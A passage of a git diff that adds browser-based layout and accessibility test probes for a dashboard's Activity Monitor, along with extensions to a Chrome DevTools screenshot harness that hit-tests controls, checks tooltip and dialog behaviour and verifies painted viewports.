document.querySelector('#activity-monitor-panel .ham-chevron-info.config-info'); + if (!help) throw new Error('Preview fixture must include an ordinary chevron tooltip to test mutual exclusion'); + const originalFocus = document.activeElement; + const scrollParents = new Map(); + for (const target of [...targets, help]) { + for (let parent = target.parentElement; parent; parent = parent.parentElement) { + if (!scrollParents.has(parent) && (parent.scrollHeight > parent.clientHeight || parent.scrollWidth > parent.clientWidth)) { + scrollParents.set(parent, { left: parent.scrollLeft, top: parent.scrollTop }); + } + } + } + const frame = () => new Promise(requestAnimationFrame); + const close = () => document.body.dispatchEvent(new PointerEvent('pointerdown', { bubbles: true, pointerType: 'mouse' })); + const portalOpen = () => { + const portal = document.getElementById('config-tooltip-portal'); + return portal && !portal.hidden && getComputedStyle(portal).display !== 'none'; + }; + const hit = (element, label) => { + const box = element.getBoundingClientRect(); + assert(box.width > 0 && box.height > 0 && box.left >= -tolerance && box.right <= innerWidth + tolerance && + box.top >= -tolerance && box.bottom <= innerHeight + tolerance, label + ' is wholly reachable in the viewport'); + const actual = document.elementFromPoint((box.left + box.right) / 2, (box.top + box.bottom) / 2); + assert(actual === element || element.contains(actual), label + ' is not intercepted by a tooltip or other overlay'); + }; + const inspectDialog = (trigger, mode) => { + const dialogs = [...document.querySelectorAll('.ham-decision-pop')]; + assert(dialogs.length === 1, mode + ': exactly one decision dialog'); + assert(!portalOpen(), mode + ': no competing shared-tooltip portal'); + assert(trigger.getAttribute('aria-expanded') === 'true', mode + ': native trigger owns the dialog'); + const dialog = dialogs[0]; + if (!dialog) return null; + assert(dialog.getAttribute('role') === 'dialog', mode + ': dialog semantics retained'); + const actions = [...dialog.querySelectorAll('.ham-decision-act')]; + assert(actions.length > 0, mode + ': decision actions remain present'); + for (const action of actions) hit(action, mode + ': ' + action.textContent.trim()); + const details = dialog.querySelector('.ham-decision-details'); + assert(!!details?.querySelector('summary'), mode + ': full overflow details have a keyboard-accessible disclosure'); + const fullTip = trigger.dataset.hamTip || ''; + // The existing dialog deduplicates sentences and normalizes separators. + const words = fullTip.toLowerCase().match(/[\p{L}\p{N}_@/#-]+/gu) || []; + const dialogWords = new Set(dialog.textContent.toLowerCase().match(/[\p{L}\p{N}_@/#-]+/gu) || []); + assert(words.length > 0 && words.every(word => dialogWords.has(word)), mode + ': unclamped caption/head/reasons survive in the sole dialog'); + return dialog; + }; + try { + for (const trigger of targets) { + close(); + trigger.scrollIntoView({ block: 'center', inline: 'nearest', behavior: 'instant' }); + await frame(); + await frame(); + hit(trigger, 'decision trigger'); + assert(!trigger.closest('.config-info') && !trigger.closest('.ham-chevron-info').querySelector('.config-tooltip'), 'decision has no generic tooltip ancestor/source'); + help.focus({ preventScroll: true }); + assert(portalOpen(), 'ordinary tooltip is open before testing decision takeover'); + trigger.dispatchEvent(new PointerEvent('pointerover', { bubbles: true, pointerType: 'mouse' })); + trigger.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); + assert(!portalOpen(), 'pointer decision opening immediately cancels the previous shared tooltip'); + await new Promise(resolve => setTimeout(resolve, hoverSettleMS)); + inspectDialog(trigger, 'pointer hover'); + close(); + trigger.blur(); + trigger.focus({ preventScroll: true }); + inspectDialog(trigger, 'keyboard focus'); + for (const key of ['ArrowDown', 'Enter', ' ']) { + // The real delegated key handler moves focus into the dialog; no + // synthetic native default or action-button activation is assumed. + trigger.focus({ preventScroll: true }); + trigger.dispatchEvent(new KeyboardEvent('keydown', { key, bubbles: true, cancelable: true })); + const dialog = inspectDialog(trigger, 'keyboard ' + JSON.stringify(key)); + assert(!!dialog?.contains(document.activeElement), 'keyboard entry focuses the existing dialog actions'); + } + const dialog = document.querySelector('.ham-decision-pop'); + const summary = dialog?.querySelector('.ham-decision-details > summary'); + summary?.focus({ preventScroll: true }); + assert(!!summary && document.activeElement === summary, 'overflow disclosure is keyboard reachable'); + document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true, cancelable: true })); + } + } finally { + close(); + originalFocus?.focus?.({ preventScroll: true }); + close(); + for (const [el, position] of scrollParents) el.scrollTo({ ...position, behavior: 'instant' }); + await frame(); + } + if (failures.length) throw new Error(JSON.stringify({ viewport: innerWidth, tested: targets.length, failures })); + return { viewport: innerWidth, tested: targets.length, failures }; +}) diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js new file mode 100644 index 0000000000..17bf403c66 --- /dev/null +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -0,0 +1,217 @@ +// Dedicated preview only: evaluate (<file contents>)({ dedicatedPreview: true }). +// Scrolls every header control into view for hit-testing, then restores scroll. +// Never run in the user's live tab; never activates controls or changes rows. +(async ({ dedicatedPreview = false } = {}) => { + if (!dedicatedPreview) throw new Error('Use a dedicated published-preview tab, not the user’s live dashboard'); + const tolerance = 1; + const failures = []; + const coverage = { issueOnly: 0, linked: 0, prOnly: 0, nested: 0, multiIssue: 0, unknown: 0, queuedApproved: 0, wrapped: 0, controls: 0, controlTargets: 0, hitTested: 0, currentRows: 0, preparation: 0, superseded: 0, states: {} }; + const near = (a, b) => Math.abs(a - b) <= tolerance; + const visible = el => el && el.getClientRects().length && getComputedStyle(el).display !== 'none'; + const rect = el => el.getBoundingClientRect(); + const assert = (ok, label) => { if (!ok) failures.push(label); }; + const settleScroll = async (control, name) => { + const maxFrames = 12; + const requiredStableFrames = 2; + let previous = '', stable = 0; + for (let frame = 0; frame < maxFrames; frame++) { + await new Promise(requestAnimationFrame); + const box = rect(control), viewport = window.visualViewport; + const next = JSON.stringify([box.x, box.y, scrollX, scrollY, + viewport?.offsetLeft, viewport?.offsetTop, viewport?.scale]); + stable = next === previous ? stable + 1 : 0; + if (stable >= requiredStableFrames) return; + previous = next; + } + assert(false, name + 'control/visual viewport must settle before its mandatory hit-test'); + }; + const inspectControl = async (control, toolbar, name) => { + coverage.controlTargets++; + assert(visible(control), name + 'expected header control is not hidden'); + if (!visible(control)) return; // Already a failure, never an untested success. + assert(!control.closest('[inert]'), name + 'controls remain focusable/clickable'); + const contained = () => { + const box = rect(control), bounds = rect(toolbar); + assert(box.width > 0 && box.height > 0 && box.left >= Math.max(0, bounds.left) - tolerance && + box.right <= Math.min(innerWidth, bounds.right) + tolerance, name + 'entire header control stays horizontally inside the toolbar and viewport'); + return box; + }; + contained(); // Horizontal overflow must fail even if scrolling could hide it. + const scrollParents = []; + for (let parent = control.parentElement; parent; parent = parent.parentElement) { + if (parent.scrollHeight > parent.clientHeight || parent.scrollWidth > parent.clientWidth) { + scrollParents.push({ el: parent, left: parent.scrollLeft, top: parent.scrollTop }); + } + } + try { + control.scrollIntoView({ block: 'center', inline: 'nearest', behavior: 'instant' }); + await settleScroll(control, name); + const box = contained(); + assert(box.top >= -tolerance && box.bottom <= innerHeight + tolerance, name + 'entire control is vertically reachable after deliberate scrolling'); + const hit = document.elementFromPoint((box.left + box.right) / 2, (box.top + box.bottom) / 2); + coverage.hitTested++; + assert(hit === control || control.contains(hit), name + 'every control center hits that control, not an overlay or offscreen null: ' + + JSON.stringify({ control: control.className, box: box.toJSON(), hit: hit?.className || hit?.tagName || null, + viewport: window.visualViewport?.toJSON?.() || { offsetLeft: window.visualViewport?.offsetLeft, + offsetTop: window.visualViewport?.offsetTop, width: window.visualViewport?.width, + height: window.visualViewport?.height, scale: window.visualViewport?.scale } })); + } finally { + for (const { el, left, top } of scrollParents) el.scrollTo({ left, top, behavior: 'instant' }); + await new Promise(requestAnimationFrame); + } + }; + const rows = [...document.querySelectorAll('#activity-monitor-section .ham-row, #activity-monitor-section .ham-sub')]; + const references = new Map(); + for (const [index, row] of rows.entries()) { + const header = row.querySelector(':scope > .ham-row-head > .ham-head-cols'); + const strip = row.querySelector(':scope > .ham-strip-row > ol[aria-label="Pipeline progress"]'); + if (!visible(header) || !visible(strip)) continue; + const lead = header.querySelector('.ham-head-lead'); + const pr = header.querySelector('.ham-head-pr'); + const badges = header.querySelector('.ham-badges'); + const columns = [...strip.children]; + // The renderer emits this boundary from its private canonical lane path. + const prStart = Number(header.style.getPropertyValue('--ham-pr-start')) - 1; + const lastLane = columns.length - 2; + const name = 'row ' + index + ' '; + if (row.matches('.ham-sub')) coverage.nested++; + else if (row.dataset.hamKind === 'pr') coverage.prOnly++; + else if (pr) coverage.linked++; + else coverage.issueOnly++; + if (row.matches('.ham-preparation-member')) coverage.preparation++; + if ([...row.querySelectorAll(':scope > .ham-current-stage, :scope > .ham-human-context')] + .some(context => /superseded/i.test(context.textContent))) coverage.superseded++; + if (row.matches('.ham-row') && row.querySelectorAll(':scope > .ham-sub').length > 1) coverage.multiIssue++; + const signature = columns.map(cell => ({ left: rect(cell).left - rect(strip).left, width: rect(cell).width, height: rect(cell).height })); + const stripLeft = rect(strip.parentElement).left; + // Recorded preparation roots retain the existing rail gutter. Compare + // like gutters across rows; header-to-lane checks below remain exact. + const gutter = row.closest('.ham-row.ham-train') ? 'train' : 'ordinary'; + if (!references.has(gutter)) references.set(gutter, { signature, left: stripLeft }); + const reference = references.get(gutter); + assert(near(stripLeft, reference.left), name + 'root/nested progress containers with the same rail gutter share one horizontal origin'); + for (const [lane, box] of signature.entries()) { + assert(near(box.left, reference.signature[lane].left) && near(box.width, reference.signature[lane].width), name + 'physical lane ' + lane + ' aligns across issue, PR-only and multi-PR rows'); + assert(near(box.height, reference.signature[lane].height), name + 'physical lane ' + lane + ' has the same compact height across rows'); + } + const flow = [...row.children].filter(child => visible(child) && !['absolute', 'fixed'].includes(getComputedStyle(child).position)); + const rowGap = parseFloat(getComputedStyle(row).rowGap) || 0; + for (let child = 1; child < flow.length; child++) { + const previous = flow[child - 1], next = flow[child]; + const spacing = rowGap + (parseFloat(getComputedStyle(previous).marginBottom) || 0) + (parseFloat(getComputedStyle(next).marginTop) || 0); + const measured = rect(next).top - rect(previous).bottom; + assert(measured >= -tolerance && measured <= spacing + tolerance, name + 'no overlap or unexplained vertical gap between successive content/sub-rows: ' + + JSON.stringify({ previous: previous.className, next: next.className, measured, allowed: spacing })); + } + if (matchMedia('(min-width: 1101px)').matches) { + assert(near(rect(lead).left, rect(columns[0]).left), name + 'issue starts at Open'); + assert(near(rect(lead).right, rect(columns[prStart - 1]).right), name + 'issue ends at Claimed'); + if (pr) { + assert(near(rect(pr).left, rect(columns[prStart]).left), name + 'PR starts at PR in progress'); + assert(near(rect(pr).right, rect(columns[lastLane]).right), name + 'PR ends at Merge gate'); + if (visible(badges) && badges.children.length) { + assert(rect(badges).top >= rect(pr).bottom - tolerance, name + 'badges below PR metadata'); + } + } + } else if (pr && visible(lead)) { + assert(rect(pr).top >= rect(lead).bottom - tolerance, name + 'narrow PR below issue'); + } + for (const slot of [lead, pr, badges]) { + if (!visible(slot)) continue; + const bounds = rect(slot); + for (const child of slot.querySelectorAll('.ham-title, .ham-pr-title, .ham-badge, .ham-pr-ref, button')) { + if (!visible(child)) continue; + const box = rect(child); + assert(box.left >= bounds.left - tolerance && box.right <= bounds.right + tolerance, name + child.className + ' within its header slot'); + if (child.clientWidth) assert(child.scrollWidth <= child.clientWidth + tolerance, name + child.className + ' no horizontal clipping'); + } + } + if (badges) { + if (badges.children.length) { + assert(visible(badges), name + 'nonempty action/history toolbar is not hidden'); + coverage.controls++; + const toolbar = badges.parentElement; + const headerStrip = header.querySelector('.ham-strip'); + const expectedRight = matchMedia('(min-width: 1101px)').matches ? rect(headerStrip).right : rect(header).right; + assert(near(rect(toolbar).right, expectedRight), name + 'full-row toolbar reaches the far right'); + assert(near(rect(badges).right, expectedRight), name + 'controls are right-anchored, not in an issue-side column'); + assert(rect(toolbar).top >= rect(lead).bottom - tolerance, name + 'toolbar does not intersect issue metadata'); + if (pr) assert(rect(toolbar).top >= rect(pr).bottom - tolerance, name + 'toolbar does not intersect PR metadata'); + for (const control of badges.querySelectorAll('button, a, [tabindex]')) { + if (!control.closest('.config-tooltip')) await inspectControl(control, toolbar, name); + } + } + const chips = [...badges.children].filter(visible).map(rect); + for (let a = 0; a < chips.length; a++) for (let b = a + 1; b < chips.length; b++) { + const overlapX = Math.min(chips[a].right, chips[b].right) - Math.max(chips[a].left, chips[b].left); + const overlapY = Math.min(chips[a].bottom, chips[b].bottom) - Math.max(chips[a].top, chips[b].top); + assert(overlapX <= tolerance || overlapY <= tolerance, name + 'badges do not overlap'); + } + } + const heights = columns.map(cell => rect(cell).height); + assert(Math.max(...heights) - Math.min(...heights) <= tolerance, name + 'all physical chevrons have uniform height'); + const ci = strip.querySelector('[data-track="ci"]'); + const review = strip.querySelector('[data-track="review"]'); + const current = columns.filter(cell => !cell.classList.contains('cap') && + (cell.classList.contains('active') || cell.classList.contains('ham-current'))); + const delegated = row.matches('.ham-row') && row.querySelector(':scope > .ham-sub ol[aria-label="Pipeline progress"]'); + assert(current.length > 0 || !!delegated, name + 'every actionable row owns a visible current-phase location or delegates to drawn PR children'); + if (current.length) coverage.currentRows++; + if (ci?.dataset.activityState === 'queued' && review?.dataset.activityState === 'approved') coverage.queuedApproved++; + for (const cell of columns) { + if (cell.dataset.activityState) coverage.states[cell.dataset.activityState] = (coverage.states[cell.dataset.activityState] || 0) + 1; + if (cell.dataset.routeState?.split(' ').includes('active')) { + assert(cell.classList.contains('ham-current'), name + 'current phase remains highlighted independently of work'); + const style = getComputedStyle(cell); + assert(Number(style.opacity) >= 0.9 && style.boxShadow !== 'none', name + 'queued/unknown/assigned/completed current tracks retain a visible steady outline'); + } + if (cell.dataset.displayState === 'unknown') { + coverage.unknown++; + assert(cell.innerText.trim() === '', name + 'unknown track is icon-only'); + assert(!!cell.querySelector('svg'), name + 'unknown track retains the column glyph'); + assert(!cell.hasAttribute('data-motion'), name + 'unknown cannot animate as observed work'); + } + const info = cell.querySelector('.ham-chevron-info'); + if (info?.classList.contains('ham-chevron-decision')) { + const button = info.querySelector('.ham-decision-trigger'); + assert(!!button && button.getAttribute('aria-haspopup') === 'dialog', name + 'decision retains its native keyboard/pointer trigger'); + assert(!info.matches('.config-info, [tabindex]') && !info.querySelector('.config-tooltip') && !button?.closest('.config-info'), name + 'decision dialog is the sole hover/focus detail surface'); + assert(!!button?.dataset.hamTip, name + 'decision dialog receives full unclamped overflow details'); + } else if (info) { + const tip = document.getElementById(info.getAttribute('aria-describedby')); + assert(info.tabIndex === 0 && !!tip && tip.getAttribute('role') === 'tooltip', name + 'full details are keyboard/hover accessible'); + assert(!!info.getAttribute('aria-label'), name + 'full accurate accessible label is retained'); + } + for (const copy of cell.querySelectorAll('.ham-chevron-copy, .cue-acting-cap')) { + if (!visible(copy)) continue; + const style = getComputedStyle(copy); + const lineHeight = parseFloat(style.lineHeight); + const bounds = rect(copy); + assert(style.whiteSpace === 'normal' && style.overflowWrap === 'anywhere', name + 'text wraps, including unbroken handles'); + assert(bounds.height <= lineHeight * 2 + tolerance, name + 'maximum two visible text lines'); + if (bounds.height > lineHeight + tolerance) coverage.wrapped++; + assert(bounds.left >= rect(cell).left + parseFloat(getComputedStyle(cell).paddingLeft) - tolerance, name + 'text clears the left chevron notch'); + assert(bounds.right <= rect(cell).right - parseFloat(getComputedStyle(cell).paddingRight) + tolerance, name + 'text clears the right chevron point'); + const icons = info ? [...info.querySelectorAll(':scope > svg, :scope > .ham-active-ico-wrap svg, :scope > .ham-gate-ico svg')].filter(visible) : []; + for (const icon of icons) { + const box = rect(icon); + assert(box.right <= bounds.left + tolerance || box.left >= bounds.right - tolerance, name + 'text does not overlap reserved icons'); + } + } + } + const progressTop = rect(strip).top; + for (const slot of [lead, pr, badges]) { + if (visible(slot)) assert(rect(slot).bottom <= progressTop + tolerance, name + 'header above progress tracks'); + } + } + assert(coverage.issueOnly > 0 && coverage.linked > 0 && coverage.prOnly > 0, 'preview must contain issue-only, linked, and PR-only fixtures'); + assert(coverage.multiIssue > 0 && coverage.nested >= 2, 'preview must contain a real multi-PR issue with independent nested rows'); + assert(coverage.preparation >= 2 && coverage.superseded > 0, 'preview must contain recorded/unverified preparation fronts and an actionable superseded-human-decision row'); + for (const state of ['queued', 'unknown', 'assigned', 'approved', 'waiting', 'failing', 'passing', 'running']) { + assert(coverage.states[state] > 0, 'preview must exercise current-head activity state ' + state); + } + assert(coverage.unknown > 0 && coverage.queuedApproved > 0 && coverage.wrapped > 0 && coverage.controls > 0, 'preview must include unknown, queued-CI/approved-review, long wrapped text and action/history controls'); + assert(coverage.controlTargets > 0 && coverage.controlTargets === coverage.hitTested, 'every relevant header control must be hit-tested, never skipped as offscreen'); + if (failures.length) throw new Error(JSON.stringify({ viewport: innerWidth, coverage, failures })); + return { viewport: innerWidth, coverage, failures }; +}) diff --git a/src/scripts/dashboard-mobile-shots.mjs b/src/scripts/dashboard-mobile-shots.mjs index 08733f234c..2e35d1cfd5 100644 --- a/src/scripts/dashboard-mobile-shots.mjs +++ b/src/scripts/dashboard-mobile-shots.mjs @@ -21,13 +21,16 @@ // clipped-by-strip: a topbar chip whose box pokes outside an overflow-clipping // ancestor strip (how the ≑ drawer toggle lost its left edge on phones, #15476). // -// This is a reporting tool, not a gate: it exits 0 even when findings exist and -// exits 1 only when the harness itself errors. Chrome missing prints SKIP and exits 0. +// General overflow findings remain reporting-only. Preparation/activity acceptance +// violations exit 1; the existing workflow remains non-required/reporting-only. +// Chrome missing is a local SKIP but a canonical CI failure. import { spawn } from 'node:child_process'; import fs from 'node:fs'; import http from 'node:http'; import path from 'node:path'; +import { createHash } from 'node:crypto'; import { preparationRailLayoutFixture } from './fixtures/dashboard-preparation-rail.mjs'; +import { activityDensityFixture } from './fixtures/dashboard-activity-density.mjs'; const CHROME_CANDIDATES = [ process.env.CHROME_BIN, @@ -45,6 +48,8 @@ const PROFILE_DIR = path.join(process.cwd(), '.chrome-dashboard-mobile-shots'); const IOS_UA = 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Mobile/15E148 Safari/604.1'; const IPAD_UA = 'Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Mobile/15E148 Safari/604.1'; const ANDROID_UA = 'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36'; +const DESKTOP_UA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36'; +const ACTIVITY_DESKTOP_WIDTHS = [2400, 1440, 1110, 1024]; const VIEWPORTS = [ { name: '390x844@3', width: 390, height: 844, dpr: 3, mobile: true, ua: IOS_UA }, @@ -56,6 +61,8 @@ const VIEWPORTS = [ { name: '932x430@3', width: 932, height: 430, dpr: 3, mobile: true, ua: IOS_UA }, { name: '667x375@2', width: 667, height: 375, dpr: 2, mobile: true, ua: IOS_UA }, { name: '740x360@3', width: 740, height: 360, dpr: 3, mobile: true, ua: ANDROID_UA }, + ...ACTIVITY_DESKTOP_WIDTHS.map(width => ({ name: width + 'x1200@1', width, height: 1200, + dpr: 1, mobile: false, ua: DESKTOP_UA, activityOnly: true })), ]; const THEMES = ['light', 'dark']; @@ -220,6 +227,7 @@ async function main() { const themes = opts.theme ? [opts.theme] : THEMES; const bin = chromePath(); if (!bin) { + if (process.env.CI) throw new Error('Canonical browser proof requires Chrome/Chromium; none found'); console.log('SKIP: Chrome/Chromium not found (set CHROME_BIN or install google-chrome/chromium)'); return; } @@ -254,6 +262,18 @@ async function main() { const report = []; const preparationRailReport = []; + const activityReport = []; + const activityFailures = []; + const fixtureRoot = path.join(process.cwd(), 'src/pkg/dashboard/webstatic/testdata'); + const density = JSON.parse(fs.readFileSync(path.join(fixtureRoot, 'tracker-activity-density.json'), 'utf8')); + const probes = ['tracker-header-geometry', 'tracker-decision-interaction'].map(name => ({ + name, source: fs.readFileSync(path.join(fixtureRoot, name + '.js'), 'utf8'), + })); + const event = process.env.GITHUB_EVENT_PATH ? JSON.parse(fs.readFileSync(process.env.GITHUB_EVENT_PATH, 'utf8')) : {}; + const provenance = { head: event.pull_request?.head?.sha || process.env.GITHUB_SHA || 'unpublished-local', + checkoutSHA: process.env.GITHUB_SHA || 'unpublished-local', + generatedAssetSHA256: createHash('sha256').update(fs.readFileSync('src/pkg/dashboard/static/index.html')).digest('hex'), + mockEvidence: true, fixtureSource: density.source }; let socket; try { const tabs = await waitForTabs(); @@ -280,14 +300,130 @@ async function main() { if (result.result.exceptionDetails) throw new Error(result.result.exceptionDetails.exception?.description || 'evaluate failed'); return result.result.result.value; }; + const screenshot = async (file, viewportOnly = false) => { + const viewport = viewportOnly ? await evaluate(`({ + x: scrollX, y: scrollY, width: innerWidth, height: innerHeight, + clientWidth: document.documentElement.clientWidth, + clientHeight: document.documentElement.clientHeight + })`) : null; + const clip = viewport ? { x: viewport.x, y: viewport.y, width: viewport.width, height: viewport.height, scale: 1 } : undefined; + const shot = await send('Page.captureScreenshot', { format: 'png', captureBeyondViewport: !viewportOnly, ...(clip ? { clip } : {}) }); + if (shot.error) throw new Error(shot.error.message); + fs.writeFileSync(path.join(opts.out, file), Buffer.from(shot.result.data, 'base64')); + if (!viewport) return; + const pixels = await evaluate(`(async () => { + const image = new Image(); + image.src = ${JSON.stringify('data:image/png;base64,')} + ${JSON.stringify(shot.result.data)}; + await image.decode(); + const canvas = document.createElement('canvas'); + canvas.width = image.naturalWidth; canvas.height = image.naturalHeight; + const context = canvas.getContext('2d', { willReadFrequently: true }); + context.drawImage(image, 0, 0); + const width = Math.min(canvas.width, Math.floor(${viewport.clientWidth} * canvas.width / ${viewport.width})); + const height = Math.min(canvas.height, Math.floor(${viewport.clientHeight} * canvas.height / ${viewport.height})); + const data = context.getImageData(0, 0, width, height).data; + let painted = false; + for (let pixel = 4; pixel < data.length; pixel += 4) { + if (data[pixel] !== data[0] || data[pixel + 1] !== data[1] || + data[pixel + 2] !== data[2] || data[pixel + 3] !== data[3]) { painted = true; break; } + } + return { painted, width: canvas.width, height: canvas.height, inspectedWidth: width, inspectedHeight: height }; + })()`); + return { file, viewport, clip, ...pixels, + failures: pixels.painted ? [] : ['Viewport capture contains only a uniform background; DOM assertions are not visual proof'] }; + }; + const nativeDecisionInput = async prefix => { + const failures = []; + const point = await evaluate(`(async () => { + stageTrackerCloseDecisionPop(false); + const trigger = [...document.querySelectorAll('.ham-chevron-decision .ham-decision-trigger')] + .find(button => Number(button.closest('[data-ham-stage]')?.dataset.hamStage) === 80); + if (!trigger) throw new Error('Missing native stage-80 decision trigger'); + trigger.scrollIntoView({ block: 'center', inline: 'nearest', behavior: 'instant' }); + await new Promise(requestAnimationFrame); + const help = document.querySelector('.ham-chevron-info.config-info'); + help.focus({ preventScroll: true }); + const box = trigger.getBoundingClientRect(); + const portal = document.getElementById('config-tooltip-portal'); + const target = document.elementFromPoint((box.left + box.right) / 2, (box.top + box.bottom) / 2); + return { x: (box.left + box.right) / 2, y: (box.top + box.bottom) / 2, + documentFocused: document.hasFocus(), helpFocused: document.activeElement === help, + triggerReachable: target === trigger || trigger.contains(target), + target: target?.className || target?.tagName || null, + tooltipWasOpen: !!portal && !portal.hidden && getComputedStyle(portal).display !== 'none' }; + })()`); + if (!point.tooltipWasOpen) failures.push('Native pointer precondition: ordinary tooltip was not open'); + if (!point.triggerReachable) failures.push('Native pointer precondition: trigger is intercepted by ' + point.target); + const moved = await send('Input.dispatchMouseEvent', { type: 'mouseMoved', x: point.x, y: point.y, pointerType: 'mouse' }); + if (moved.error) throw new Error(moved.error.message); + await sleep(STATE_SETTLE_MS); + const inspect = async mode => { + const result = await evaluate(`(() => { + const dialogs = [...document.querySelectorAll('.ham-decision-pop')]; + const portal = document.getElementById('config-tooltip-portal'); + const tolerance = 1; + const actions = [...(dialogs[0]?.querySelectorAll('.ham-decision-act') || [])].map(action => { + const box = action.getBoundingClientRect(); + const target = document.elementFromPoint((box.left + box.right) / 2, (box.top + box.bottom) / 2); + return { label: action.textContent.trim(), box: box.toJSON(), + target: target?.className || target?.tagName || null, + reachable: box.width > 0 && box.height > 0 && box.left >= -tolerance && + box.right <= innerWidth + tolerance && box.top >= -tolerance && + box.bottom <= innerHeight + tolerance && (target === action || action.contains(target)) }; + }); + return { dialogs: dialogs.length, + tooltipOpen: !!portal && !portal.hidden && getComputedStyle(portal).display !== 'none', + focusInside: !!dialogs[0]?.contains(document.activeElement), actions }; + })()`); + if (result.dialogs !== 1 || result.tooltipOpen) failures.push(mode + ': one unobscured decision dialog required'); + if (mode !== 'native pointer' && !result.focusInside) failures.push(mode + ': keyboard must enter the existing dialog'); + if (!result.actions.length || result.actions.some(action => !action.reachable)) { + failures.push(mode + ': every native decision action must be reachable and unobscured: ' + JSON.stringify(result.actions)); + } + return { mode, ...result }; + }; + const observations = [await inspect('native pointer')]; + const pointerCapture = await screenshot(prefix + '-decision-pointer.png', true); + failures.push(...pointerCapture.failures); + const keys = [{ key: 'ArrowDown', code: 'ArrowDown', keyCode: 40 }, + { key: 'Enter', code: 'Enter', keyCode: 13 }, { key: ' ', code: 'Space', keyCode: 32 }]; + for (const { key, code, keyCode } of keys) { + await evaluate(`(() => { + const trigger = [...document.querySelectorAll('.ham-chevron-decision .ham-decision-trigger')] + .find(button => Number(button.closest('[data-ham-stage]')?.dataset.hamStage) === 80); + trigger.focus({ preventScroll: true }); + return true; + })()`); + for (const type of ['keyDown', 'keyUp']) { + const pressed = await send('Input.dispatchKeyEvent', { type, key, code, windowsVirtualKeyCode: keyCode }); + if (pressed.error) throw new Error(pressed.error.message); + } + observations.push(await inspect('native keyboard ' + JSON.stringify(key))); + } + const keyboardCapture = await screenshot(prefix + '-decision-keyboard.png', true); + failures.push(...keyboardCapture.failures); + await evaluate('stageTrackerCloseDecisionPop(false); true'); + return { pointerPrecondition: point, observations, captures: [pointerCapture, keyboardCapture], failures }; + }; await send('Page.enable'); await send('Runtime.enable'); + // Headless input must own focus for native focusin and keyboard delivery. + await send('Page.bringToFront'); + await send('Emulation.setFocusEmulationEnabled', { enabled: true }); // Each state callback is best-effort: a missing helper yields a skipped shot, not a harness error. const setThemeJS = (theme) => `document.body.classList.toggle('light-mode', ${theme === 'light'}); document.documentElement.style.colorScheme = '${theme}'; true`; const resetJS = `(() => { + window.__activityDensityCleanup?.(); document.getElementById('preparation-rail-layout-fixture')?.remove(); + // The preceding terminal state owns a native dialog and capture listener. + // Close it through its API, not by hiding/removing its DOM. + document.querySelectorAll('.hive-dialog-overlay').forEach((el) => { + if (typeof el.hiveDialogClose !== 'function') throw new Error('Cannot clean up prior fixture dialog'); + el.hiveDialogClose(); + }); + if (document.querySelector('.hive-dialog-overlay')) throw new Error('Prior fixture dialog survived native cleanup'); document.querySelectorAll('.config-overlay, .modal-overlay').forEach((el) => { el.classList.add('hidden'); }); document.documentElement.classList.remove('modal-open'); document.body.classList.remove('modal-open'); return true; @@ -319,7 +455,7 @@ async function main() { screenOrientation: { type: landscape ? 'landscapePrimary' : 'portraitPrimary', angle: landscape ? 90 : 0 }, }); await send('Emulation.setUserAgentOverride', { userAgent: vp.ua }); - await send('Emulation.setTouchEmulationEnabled', { enabled: true }); + await send('Emulation.setTouchEmulationEnabled', { enabled: vp.mobile }); for (const theme of themes) { await send('Page.navigate', { url: `file://${process.cwd()}/src/pkg/dashboard/static/index.html` }); await sleep(PAGE_SETTLE_MS); @@ -352,10 +488,51 @@ async function main() { if (result.failures.length) throw new Error('Preparation rail layout: ' + result.failures.join('; ')); return true; } }); + if (vp.activityOnly) states.length = 0; + states.push({ name: 'activity-density', run: async () => { + await evaluate(collapseAllJS); + if (!await evaluate(expandOneJS('activity-monitor-section'))) throw new Error('Cannot expand actual Activity Monitor'); + const fixture = await evaluate('(' + activityDensityFixture.toString() + ')(' + JSON.stringify(density) + ')'); + await sleep(STATE_SETTLE_MS); + const capture = await screenshot(`${vp.name}-${theme}-activity-density-viewport.png`, true); + const results = [{ probe: 'viewport-paint', ok: capture.painted, result: capture }]; + if (!capture.painted) activityFailures.push(vp.name + ' ' + theme + ' blank viewport capture'); + for (const probe of probes) { + const result = await evaluate(`(async () => { + try { return { ok: true, result: await (${probe.source})({ dedicatedPreview: true }) }; } + catch (error) { + let result; + try { result = JSON.parse(error.message); } catch (_) { result = { failures: [String(error.stack || error)] }; } + return { ok: false, result }; + } + })()`); + results.push({ probe: probe.name, ...result }); + if (!result.ok) activityFailures.push(vp.name + ' ' + theme + ' ' + probe.name); + } + let native; + try { native = await nativeDecisionInput(`${vp.name}-${theme}-activity`); } + catch (error) { native = { failures: [String(error.stack || error)] }; } + const nativeOK = native.failures.length === 0; + results.push({ probe: 'native-CDP-pointer-keyboard', ok: nativeOK, result: native }); + if (!nativeOK) activityFailures.push(vp.name + ' ' + theme + ' native input'); + const result = { viewport: vp.name, theme, provenance, fixture, results }; + activityReport.push(result); + fs.writeFileSync(path.join(opts.out, `${vp.name}-${theme}-activity-probes.json`), JSON.stringify(result, null, 2) + '\n'); + return true; + } }); for (const state of states) { await evaluate(resetJS); - const ok = await state.run(); + let ok; + try { ok = await state.run(); } + catch (error) { + if (state.name !== 'activity-density') throw error; + activityFailures.push(vp.name + ' ' + theme + ' fixture/harness'); + const result = { viewport: vp.name, theme, provenance, failures: [String(error.stack || error)] }; + activityReport.push(result); + fs.writeFileSync(path.join(opts.out, `${vp.name}-${theme}-activity-probes.json`), JSON.stringify(result, null, 2) + '\n'); + ok = true; // Capture the broken fixture too; fail after all viewports. + } if (!ok) { console.log(`skip ${vp.name} ${theme} ${state.name}: not available`); continue; @@ -363,21 +540,22 @@ async function main() { await sleep(STATE_SETTLE_MS); const findings = await 